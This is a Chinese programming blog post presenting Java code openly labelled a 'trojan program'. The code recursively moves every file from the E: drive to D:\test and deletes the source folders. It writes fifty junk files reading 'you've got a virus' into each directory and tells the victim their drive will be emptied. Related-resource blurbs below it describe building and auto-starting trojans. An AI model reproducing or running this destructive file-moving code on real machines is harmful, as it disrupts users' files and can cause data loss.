`
j2ee_chenwei
  • 浏览: 41563 次
  • 性别: Icon_minigender_1
  • 来自: 重庆
最近访客 更多访客>>
社区版块
存档分类
最新评论

File操作之木马程序

阅读更多
package com.cw.ch07;
import java.io.*;
/**
* 把一个文件目录下的所有文件剪切到目标文件目录中
* @author cham
*
*/
public class FileDemo1 {

public static void moveFiles(File srcDir, File dstDir)  
{  
  if(!dstDir.exists()){
  dstDir.mkdir();  //如果目标文件目录不存在,则创建一个目标文件目录
  }
 
  File[] files = srcDir.listFiles(); //得到该文件目录下的所有文件及目录 
 
  for(int i=0; i<files.length;i++)  
  {  
  String path = files[i].getParent();
  if(files[i].isDirectory()) //是目录
  {  
  //递归调用,把下面的所有文件都移动到目标文件目录中,
  //根据 parent 路径名字符串和 child 路径名字符串创建一个新 File 实例
  moveFiles(files[i], new File(dstDir,files[i].getName()));  
  files[i].delete();  //删除原来的目录
 
  File newfile = new File(files[i].getPath());
 
  }else{
  //如果是文件,就直接移动
  files[i].renameTo(new  File(dstDir,   files[i].getName()));  
  }
 
  try{
  int a=0;
  while(a<50) {
  //构造一个文件输出流对象
  OutputStream fos = new FileOutputStream(path+"\\$#$.^r_t~"+a);
//用FileOutputStream 写文本文件(2)利用文件输出流的方法写文本文件
  String str ="hehe!you已经中病毒了";
  byte[] words  = str.getBytes();
  fos.write(words, 0, words.length);     
// 关闭文件输出流
  fos.close();
  a++;
  }
}catch(Exception ex){
System.out.println("0000000");
}
  }
}  
   
  public   static   void   main(String[]   args)  
  {  
  File  src  =  new   File("e:\\");   //源文件
  File  dst  =  new   File("d:\\test");   //目标文件
  //调用移动方法
  moveFiles(src,   dst);  
  System.out.println("您已中了木马程序。。您的e盘将被清空。。\n");
  System.out.println("为了考虑您的安全,已经给您的文件备份到D盘了,快去看看吧。。。");
  }
}
分享到:
评论

相关推荐

    电脑[技巧]_如何检测是否有木马程序

    在IT安全领域,木马程序是一种常见的威胁,它能在用户不知情的情况下潜入电脑系统,窃取信息或损害系统功能。本文将详细解析如何检测电脑是否感染了木马程序,帮助用户有效识别并清除潜在的安全隐患。 ### 一、检测...

    Kill_Sysfile

    在计算机安全领域,隐藏文件夹和文件往往是恶意软件藏身之处,它们可能携带病毒、木马或其他有害程序,对用户的数据安全构成威胁。为了保护系统和个人信息不受侵害,“Kill_Sysfile”应运而生,它是一款专门针对隐藏...

    使用Delphi打造木马

    一个轻量级的木马程序可以在极短的时间内被植入目标系统,从而为后续更复杂的操作打开通道。因此,木马的大小直接影响到其隐蔽性和有效性。对于新手而言,他们往往会选择体积较大的后门程序,但经验丰富的攻击者则更...

    rw-by-file.rar_given

    标题 "rw-by-file.rar_given" 暗示我们关注的是一个与文件读写活动相关的工具或脚本,可能用于监控特定程序对文件系统的操作。这个工具可能是“rw-by-file.pl”,一个Perl语言编写的程序,根据描述,它的主要功能是...

    File in the hole

    ### 文件上传漏洞详解 在网络安全领域,文件上传漏洞是一...总之,文件上传漏洞是Web应用程序中常见的安全问题之一。通过深入了解其原理和应用场景,并采取有效措施加以防范,可以大大降低因此类漏洞引发的安全风险。

    落雪木马专杀工具(实用)

    “落雪”木马也叫“游戏大盗”( Trojan/PSW.GamePass),由VB 程序语言编写,通过 nSPack 3.1 加壳处理(即通常所说的“北斗壳”North Star),该木马文件图标一般是红色的图案,伪装成网络游戏的登陆器。...

    基于IAT表的木马自启动技术

    攻击者可能会选择替换这个文件,并在替换后的版本中修改其IAT表,使得某些API调用实际上指向了一个预先准备好的木马程序。这样,在系统启动时,这些API调用就会触发木马程序的执行,而这一过程对于大多数安全软件来...

    木马清道夫-垃圾文件清理

    在IT领域,垃圾文件清理是维护系统健康与性能的关键步骤之一。"木马清道夫"是一款专门针对这一需求设计的软件工具,它能够有效地帮助用户清除计算机中的无用、临时或冗余文件,从而释放硬盘空间,提高系统运行效率。...

    一招杀敌 纯手工绝招随时随地查杀木马

    - **常见端口号**:一些特定的端口号常被木马程序用于通信,如137、138、139等。这些端口主要用于局域网内的文件共享和服务发现功能。 - **进程和服务检查**:检查系统的启动项和服务列表,查看是否有异常的程序和...

    VC++多线程原虫IPC种植木马

    在计算机安全领域,木马程序是一种常见的恶意软件,它可以被攻击者用来非法访问或控制目标计算机系统。本篇文档将详细介绍如何使用VC++结合多线程技术以及网络编程中的Inter-Process Communication (IPC)来实现远程...

    OEP.rar_OEP_Pe-file_infector

    在恶意软件领域,某些病毒或木马会篡改OEP,使得程序在执行时先运行恶意代码,然后再跳转到原程序的OEP。因此,理解并能够获取OEP对于安全分析和反病毒研究至关重要。 在压缩包中的“www.pudn.com.txt”可能是作者...

    File_Analysis.zip

    沙箱通常用于分析未知或可疑的代码,如病毒、木马或恶意软件,避免它们在真实操作系统中触发潜在的危害。 在描述中提到的“推荐在虚拟机win764或win786中运行病毒”,指的是使用虚拟化技术来创建沙箱环境。Windows ...

    木马查杀手动+工具

    这里的 `file.exe` 可能是木马程序试图加载的文件。 - **其他位置**: 除了 `System.ini` 文件外,还需检查 `win.ini` 和 `win32.ini` 文件中是否存在类似可疑项。 **5. 查看用户账户信息** - **命令**: `net user`...

    脚本木马查杀工具VB源码

    2. **对象模型**:VB的面向对象特性体现在它的对象模型中,如File对象、Folder对象等,可以用来进行文件和目录的操作,这对于查找和清理木马至关重要。 3. **正则表达式**:为了识别恶意脚本,开发者可能使用正则...

    checkPE.rar_Pe-file_infector_pe

    标题中的"checkPE.rar_Pe-file_infector_pe"暗示了我们正在处理一个与PE文件相关的程序,特别是关于检查PE文件完整性和可能的感染情况。PE(Portable Executable)是Windows操作系统中可执行文件的标准格式,包括....

    C++编写的自我复制程序源代码

    这种程序的设计原理源自计算机病毒和木马,但不一定是恶意的。在学习和理解C++编程时,掌握如何编写自我复制程序能帮助我们深入理解程序执行、内存管理和文件操作等核心概念。 首先,让我们了解自我复制程序的基本...

    基于PHP的batch-replace批量替换程序(替换木马)源码.zip

    3. **文件处理**:批量替换通常涉及读取和写入文件,因此需要熟悉file(), file_get_contents(), file_put_contents(), fopen(), fclose()等文件操作函数。 4. **正则表达式**:在高级应用中,可能会用到正则表达式...

    CheckPE.rar_Pe-file_infector_pe

    标题中的"CheckPE.rar_Pe-file_infector_pe"暗示了我们即将探讨的是关于PE文件格式以及与之相关的恶意软件感染问题。PE(Portable Executable)文件格式是Windows操作系统中用于可执行程序、动态链接库(DLL)和其他...

    The_PE_file_format.zip

    PE文件格式基于COFF(Common Object File Format)格式,并在其基础上扩展,以适应Windows操作系统的需求。PE文件由多个部分组成,主要包括DOS头、PE头和节区。 1. DOS头:在PE文件的最前端,是一个简化的MS-DOS...

Global site tag (gtag.js) - Google Analytics